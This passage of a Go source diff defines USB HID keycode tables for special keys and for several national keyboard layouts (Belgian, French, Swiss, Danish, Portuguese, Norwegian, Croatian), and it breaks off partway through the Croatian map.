+	"F12":         Command{HID: 69},
+	"PRINTSCREEN": Command{HID: 70},
+	"SCROLLLOCK":  Command{HID: 71},
+	"PAUSE":       Command{HID: 72},
+	"INSERT":      Command{HID: 73},
+	"HOME":        Command{HID: 74},
+	"PAGEUP":      Command{HID: 75},
+	"DEL":         Command{HID: 76},
+	"END":         Command{HID: 77},
+	"PAGEDOWN":    Command{HID: 78},
+	"RIGHT":       Command{HID: 79},
+	"LEFT":        Command{HID: 80},
+	"DOWN":        Command{HID: 81},
+	"UP":          Command{HID: 82},
+	"MENU":        Command{HID: 101},
+}
+
+var KeyMaps = map[string]KeyMap{
+	"BE": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 48},
+		"(":         Command{HID: 34},
+		",":         Command{HID: 16},
+		"0":         Command{HID: 39, Mode: 2},
+		"4":         Command{HID: 33, Mode: 2},
+		"8":         Command{HID: 37, Mode: 2},
+		"<":         Command{HID: 100},
+		"@":         Command{HID: 31, Mode: 64},
+		"€":         Command{HID: 8, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"§":         Command{HID: 35},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 100, Mode: 64},
+		"`":         Command{HID: 49, Mode: 64},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"£":         Command{HID: 49, Mode: 2},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 30, Mode: 64},
+		"BACKSPACE": Command{HID: 42},
+		"#":         Command{HID: 32, Mode: 64},
+		"'":         Command{HID: 33},
+		"+":         Command{HID: 56, Mode: 2},
+		"/":         Command{HID: 55, Mode: 2},
+		"3":         Command{HID: 32, Mode: 2},
+		"7":         Command{HID: 36, Mode: 2},
+		";":         Command{HID: 54},
+		"?":         Command{HID: 16, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"³":         Command{HID: 53, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"è":         Command{HID: 36},
+		"W":         Command{HID: 29, Mode: 2},
+		"[":         Command{HID: 48, Mode: 64},
+		"_":         Command{HID: 46, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 29},
+		"{":         Command{HID: 38, Mode: 64},
+		"à":         Command{HID: 39},
+		"é":         Command{HID: 31},
+		"\"":        Command{HID: 32},
+		"&":         Command{HID: 30},
+		"*":         Command{HID: 48, Mode: 2},
+		"ç":         Command{HID: 38},
+		".":         Command{HID: 54, Mode: 2},
+		"ù":         Command{HID: 52},
+		"2":         Command{HID: 31, Mode: 2},
+		"6":         Command{HID: 35, Mode: 2},
+		":":         Command{HID: 55},
+		">":         Command{HID: 100, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 26, Mode: 2},
+		"^":         Command{HID: 35, Mode: 64},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"µ":         Command{HID: 49},
+		"r":         Command{HID: 21},
+		"°":         Command{HID: 45, Mode: 2},
+		"²":         Command{HID: 53},
+		"v":         Command{HID: 25},
+		"z":         Command{HID: 26},
+		"~":         Command{HID: 56, Mode: 64},
+		"!":         Command{HID: 37},
+		"%":         Command{HID: 52, Mode: 2},
+		")":         Command{HID: 45},
+		"-":         Command{HID: 46},
+		"1":         Command{HID: 30, Mode: 2},
+		"5":         Command{HID: 34, Mode: 2},
+		"9":         Command{HID: 38, Mode: 2},
+		"=":         Command{HID: 56},
+		"A":         Command{HID: 20, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 51, Mode: 2},
+		"Q":         Command{HID: 4, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 47, Mode: 64},
+		"a":         Command{HID: 20},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 51},
+		"q":         Command{HID: 4},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 39, Mode: 64},
+	},
+	"FR": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 48},
+		"(":         Command{HID: 34},
+		",":         Command{HID: 16},
+		"0":         Command{HID: 39, Mode: 2},
+		"4":         Command{HID: 33, Mode: 2},
+		"8":         Command{HID: 37, Mode: 2},
+		"<":         Command{HID: 100},
+		"@":         Command{HID: 39, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 37, Mode: 64},
+		"`":         Command{HID: 36, Mode: 64},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 35, Mode: 64},
+		"BACKSPACE": Command{HID: 42},
+		"#":         Command{HID: 32, Mode: 64},
+		"'":         Command{HID: 33},
+		"+":         Command{HID: 46, Mode: 2},
+		"/":         Command{HID: 55, Mode: 2},
+		"3":         Command{HID: 32, Mode: 2},
+		"7":         Command{HID: 36, Mode: 2},
+		";":         Command{HID: 54},
+		"?":         Command{HID: 16, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 29, Mode: 2},
+		"[":         Command{HID: 34, Mode: 64},
+		"_":         Command{HID: 37},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 29},
+		"{":         Command{HID: 33, Mode: 64},
+		"\"":        Command{HID: 32},
+		"&":         Command{HID: 30},
+		"*":         Command{HID: 49},
+		".":         Command{HID: 54, Mode: 2},
+		"2":         Command{HID: 31, Mode: 2},
+		"6":         Command{HID: 35, Mode: 2},
+		":":         Command{HID: 55},
+		">":         Command{HID: 100, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 26, Mode: 2},
+		"^":         Command{HID: 38, Mode: 64},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"r":         Command{HID: 21},
+		"v":         Command{HID: 25},
+		"z":         Command{HID: 26},
+		"~":         Command{HID: 31, Mode: 64},
+		"!":         Command{HID: 56},
+		"%":         Command{HID: 52, Mode: 2},
+		")":         Command{HID: 45},
+		"-":         Command{HID: 35},
+		"1":         Command{HID: 30, Mode: 2},
+		"5":         Command{HID: 34, Mode: 2},
+		"9":         Command{HID: 38, Mode: 2},
+		"=":         Command{HID: 46},
+		"A":         Command{HID: 20, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 51, Mode: 2},
+		"Q":         Command{HID: 4, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 45, Mode: 64},
+		"a":         Command{HID: 20},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 51},
+		"q":         Command{HID: 4},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 46, Mode: 64},
+	},
+	"CH": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 49},
+		"(":         Command{HID: 37, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 100},
+		"@":         Command{HID: 31, Mode: 64},
+		"€":         Command{HID: 8, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"§":         Command{HID: 53},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 100, Mode: 64},
+		"`":         Command{HID: 46, Mode: 2},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 36, Mode: 64},
+		"BACKSPACE": Command{HID: 42},
+		"#":         Command{HID: 32, Mode: 64},
+		"'":         Command{HID: 45},
+		"+":         Command{HID: 30, Mode: 2},
+		"/":         Command{HID: 36, Mode: 2},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 54, Mode: 2},
+		"?":         Command{HID: 45, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 47, Mode: 64},
+		"_":         Command{HID: 56, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 53, Mode: 64},
+		"Ä":         Command{HID: 52, Mode: 2},
+		"ß":         Command{HID: 45},
+		"Ü":         Command{HID: 47, Mode: 2},
+		"ä":         Command{HID: 52},
+		"Ö":         Command{HID: 51, Mode: 2},
+		"\"":        Command{HID: 31, Mode: 2},
+		"&":         Command{HID: 35, Mode: 2},
+		"*":         Command{HID: 32, Mode: 2},
+		".":         Command{HID: 55},
+		"2":         Command{HID: 31},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 55, Mode: 2},
+		"ö":         Command{HID: 51},
+		">":         Command{HID: 100, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 28, Mode: 2},
+		"^":         Command{HID: 46},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"r":         Command{HID: 21},
+		"°":         Command{HID: 53, Mode: 2},
+		"v":         Command{HID: 25},
+		"z":         Command{HID: 28},
+		"~":         Command{HID: 46, Mode: 64},
+		"ü":         Command{HID: 47},
+		"!":         Command{HID: 48, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 38, Mode: 2},
+		"-":         Command{HID: 56},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 39, Mode: 2},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 29, Mode: 2},
+		"]":         Command{HID: 48, Mode: 64},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 29},
+		"}":         Command{HID: 49, Mode: 64},
+	},
+	"DK": {
+		"ð":         Command{HID: 7, Mode: 64},
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 64},
+		"(":         Command{HID: 37, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 100},
+		"@":         Command{HID: 31, Mode: 64},
+		"€":         Command{HID: 8, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"§":         Command{HID: 53, Mode: 2},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 100, Mode: 64},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"£":         Command{HID: 32, Mode: 64},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 46, Mode: 64},
+		"BACKSPACE": Command{HID: 42},
+		"«":         Command{HID: 33},
+		"#":         Command{HID: 32, Mode: 2},
+		"'":         Command{HID: 49},
+		"+":         Command{HID: 45},
+		"/":         Command{HID: 36, Mode: 2},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 54, Mode: 2},
+		"?":         Command{HID: 45, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 37, Mode: 64},
+		"_":         Command{HID: 56, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 36, Mode: 64},
+		"Æ":         Command{HID: 51, Mode: 2},
+		"Å":         Command{HID: 47, Mode: 2},
+		"Ø":         Command{HID: 52, Mode: 2},
+		"ß":         Command{HID: 22, Mode: 64},
+		"ø":         Command{HID: 52},
+		"\"":        Command{HID: 31, Mode: 2},
+		"&":         Command{HID: 35, Mode: 2},
+		"*":         Command{HID: 49, Mode: 2},
+		"æ":         Command{HID: 51},
+		"å":         Command{HID: 47},
+		".":         Command{HID: 55},
+		"2":         Command{HID: 31},
+		"þ":         Command{HID: 23, Mode: 64},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 55, Mode: 2},
+		">":         Command{HID: 100, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 29, Mode: 2},
+		"¤":         Command{HID: 33, Mode: 2},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"¨":         Command{},
+		"n":         Command{HID: 17},
+		"´":         Command{},
+		"µ":         Command{HID: 16, Mode: 64},
+		"r":         Command{HID: 21},
+		"v":         Command{HID: 25},
+		"½":         Command{HID: 53},
+		"z":         Command{HID: 29},
+		"~":         Command{HID: 48, Mode: 64},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 38, Mode: 2},
+		"-":         Command{HID: 56},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 39, Mode: 2},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 38, Mode: 64},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 39, Mode: 64},
+	},
+	"PT": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 2},
+		"(":         Command{HID: 37, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 100},
+		"@":         Command{HID: 31, Mode: 64},
+		"€":         Command{HID: 8, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"§":         Command{HID: 33, Mode: 64},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 53},
+		"`":         Command{HID: 48, Mode: 2},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"£":         Command{HID: 32, Mode: 64},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 53, Mode: 2},
+		"BACKSPACE": Command{HID: 42},
+		"«":         Command{HID: 46},
+		"#":         Command{HID: 32, Mode: 2},
+		"'":         Command{HID: 45},
+		"+":         Command{HID: 47},
+		"/":         Command{HID: 36, Mode: 2},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 54, Mode: 2},
+		"?":         Command{HID: 45, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 37, Mode: 64},
+		"_":         Command{HID: 56, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 36, Mode: 64},
+		"»":         Command{HID: 46, Mode: 2},
+		"Ç":         Command{HID: 51, Mode: 2},
+		"\"":        Command{HID: 31, Mode: 2},
+		"&":         Command{HID: 35, Mode: 2},
+		"*":         Command{HID: 47, Mode: 2},
+		"ç":         Command{HID: 51},
+		".":         Command{HID: 55},
+		"2":         Command{HID: 31},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 55, Mode: 2},
+		">":         Command{HID: 100, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 29, Mode: 2},
+		"^":         Command{HID: 50, Mode: 2},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"ª":         Command{HID: 52, Mode: 2},
+		"n":         Command{HID: 17},
+		"r":         Command{HID: 21},
+		"v":         Command{HID: 25},
+		"z":         Command{HID: 29},
+		"º":         Command{HID: 52},
+		"~":         Command{HID: 50},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 38, Mode: 2},
+		"-":         Command{HID: 56},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 39, Mode: 2},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 38, Mode: 64},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 39, Mode: 64},
+	},
+	"NO": {
+		"ð":         Command{HID: 7, Mode: 64},
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 64},
+		"(":         Command{HID: 37, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 100},
+		"@":         Command{HID: 31, Mode: 64},
+		"€":         Command{HID: 8, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"§":         Command{HID: 53, Mode: 2},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 46},
+		"`":         Command{HID: 46, Mode: 2},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"£":         Command{HID: 32, Mode: 64},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 53},
+		"BACKSPACE": Command{HID: 42},
+		"«":         Command{HID: 33},
+		"#":         Command{HID: 32, Mode: 2},
+		"'":         Command{HID: 49},
+		"+":         Command{HID: 45},
+		"/":         Command{HID: 36, Mode: 2},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 54, Mode: 2},
+		"?":         Command{HID: 45, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 37, Mode: 64},
+		"_":         Command{HID: 56, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 36, Mode: 64},
+		"Æ":         Command{HID: 52, Mode: 2},
+		"Å":         Command{HID: 47, Mode: 2},
+		"Ø":         Command{HID: 51, Mode: 2},
+		"ß":         Command{HID: 22, Mode: 64},
+		"ø":         Command{HID: 51},
+		"\"":        Command{HID: 31, Mode: 2},
+		"&":         Command{HID: 35, Mode: 2},
+		"*":         Command{HID: 49, Mode: 2},
+		"æ":         Command{HID: 52},
+		"å":         Command{HID: 47},
+		".":         Command{HID: 55},
+		"2":         Command{HID: 31},
+		"þ":         Command{HID: 23, Mode: 64},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 55, Mode: 2},
+		">":         Command{HID: 100, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 29, Mode: 2},
+		"^":         Command{HID: 48, Mode: 2},
+		"¤":         Command{HID: 33, Mode: 2},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"µ":         Command{HID: 16, Mode: 64},
+		"r":         Command{HID: 21},
+		"v":         Command{HID: 25},
+		"½":         Command{HID: 53},
+		"z":         Command{HID: 29},
+		"~":         Command{HID: 48, Mode: 64},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 38, Mode: 2},
+		"-":         Command{HID: 56},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 39, Mode: 2},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 38, Mode: 64},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 39, Mode: 64},
+	},
+	"HR": {
+		"-":  Command{HID: 56},
+		" ":  Command{HID: 44},
+		"$":  Command{HID: 33, Mode: 2},
+		"(":  Command{HID: 37, Mode: 2},
+		",":  Command{HID: 54},
+		"0":  Command{HID: 39},
+		"4":  Command{HID: 33},
+		"8":  Command{HID: 37},
+		"<":  Command{HID: 100},
+		"@":  Command{HID: 25, Mode: 64},
+		"€":  Command{HID: 8, Mode: 64},
+		"D":  Command{HID: 7, Mode: 2},
+		"H":  Command{HID: 11, Mode: 2},
+		"L":  Command{HID: 15, Mode: 2},
+		"P":  Command{HID: 19, Mode: 2},
+		"§":  Command{HID: 16, Mode: 64},
+		"T":  Command{HID: 23, Mode: 2},
+		"X":  Command{HID: 27, Mode: 2},
+		"\\": Command{HID: 20, Mode: 64},
+		"`":  Command{HID: 36, Mode: 64},
+		"d":  Command{HID: 7},
+		"h":  Command{HID: 11},
+		"l":  Command{HID: 15},
+		"p":  Command{HID: 19},
+		"t":  Command{HID: 23},
+		"x":  Command{HID: 27},
+		"|":  Command{HID: 26, Mode: 64},
+		"#":  Command{HID: 32, Mode: 2},
+		"'":  Command{HID: 45},
+		"+":  Command{HID: 46},
+		"/":  Command{HID: 36, Mode: 2},
+		"I":  Command{HID: 12, Mode: 2},
+		"3":  Command{HID: 32},
+		"7":  Command{HID: 36},
+		";":  Command{HID: 54, Mode: 2},
+		"?":  Command{HID: 45, Mode: 2},
+		"C":  Command{HID: 6, Mode: 2},
+		"G":  Command{HID: 10, Mode: 2},
+		"K":  Command{HID: 14, Mode: 2},
+		"O":  Command{HID: 18, Mode: 2},
+		"S":  Command{HID: 22, Mode: 2},
+		"W":  Command{HID: 26, Mode: 2},
+		"[":  Command{HID: 9, Mode: 64},
+		"_":  Command{HID: 56, Mode: 2},
+		"c":  Command{HID: 6},
+		"g":  Command{HID: 10},
+		"k":  Command{HID: 14},
+		"o":  Command{HID: 18},
+		"s":  Command{HID: 22},
+		"w":  Command{HID: 26},
+		"{":  Command{HID: 5, Mode: 64},
+		"ß":  Command{HID: 52, Mode: 64},
+		"×":  Command{HID: 48, Mode: 64},
+		"\"": Command{HID: 31, Mode: 2},
+		"ˇ":  Command{HID: 31, Mode: 64},
+		"&":  Command{HID: 35, Mode: 2},
+		"*":  Command{HID: 46, Mode: 2},
+		".":  Command{HID: 55},
+		"2":  Command{HID: 31},
+		"6":  Command{HID: 35},
+		"˛":  Command{HID: 35, Mode: 64},
+		"˙":  Command{HID: 37, Mode: 64},
+		":":  Command{HID: 55, Mode: 2},
+		"÷":  Command{HID: 47, Mode: 64},
+		"˝":  Command{HID: 39, Mode: 64},
+		">":  Command{HID: 100, Mode: 2},
+		"B":  Command{HID: 5, Mode: 2},
+		"F":  Command{HID: 9, Mode: 2},
+		"J":  Command{HID: 13, Mode: 2},
+		"N":  Command{HID: 17, Mode: 2},
+		"R":  Command{HID: 21, Mode: 2},
+		"V":  Command{HID: 25, Mode: 2},
+		"Z":  Command{HID: 28, Mode: 2},
+		"^":  Command{HID: 32, Mode: 64},
+		"¤":  Command{HID: 49, Mode: 64},
+		"b":  Command{HID: 5},
+		"f":  Command{HID: 9},
+		"j":  Command{HID: 13},
+		"¨":  Command{HID: 45, Mode: 64},
+		"n":  Command{HID: 17},
+		"´":  Command{HID: 38, Mode: 64},
+		"r":  Command{HID: 21},
+		"°":  Command{HID: 34, Mode: 64},
+		"v":  Command{HID: 25},
+		"z":  Command{HID: 28},
+		"¸":  Command{HID: 46, Mode: 64},
+		"~":  Command{HID: 30, Mode: 64},
+		"Ł":  Command{HID: 15, Mode: 64},
+		"ł":  Command{HID: 14, Mode: 64},
+		"!":  Command{HID: 30, Mode: 2},
+		"%":  Command{HID: 34, Mode: 2},
+		")":  Command{HID: 38, Mode: 2},
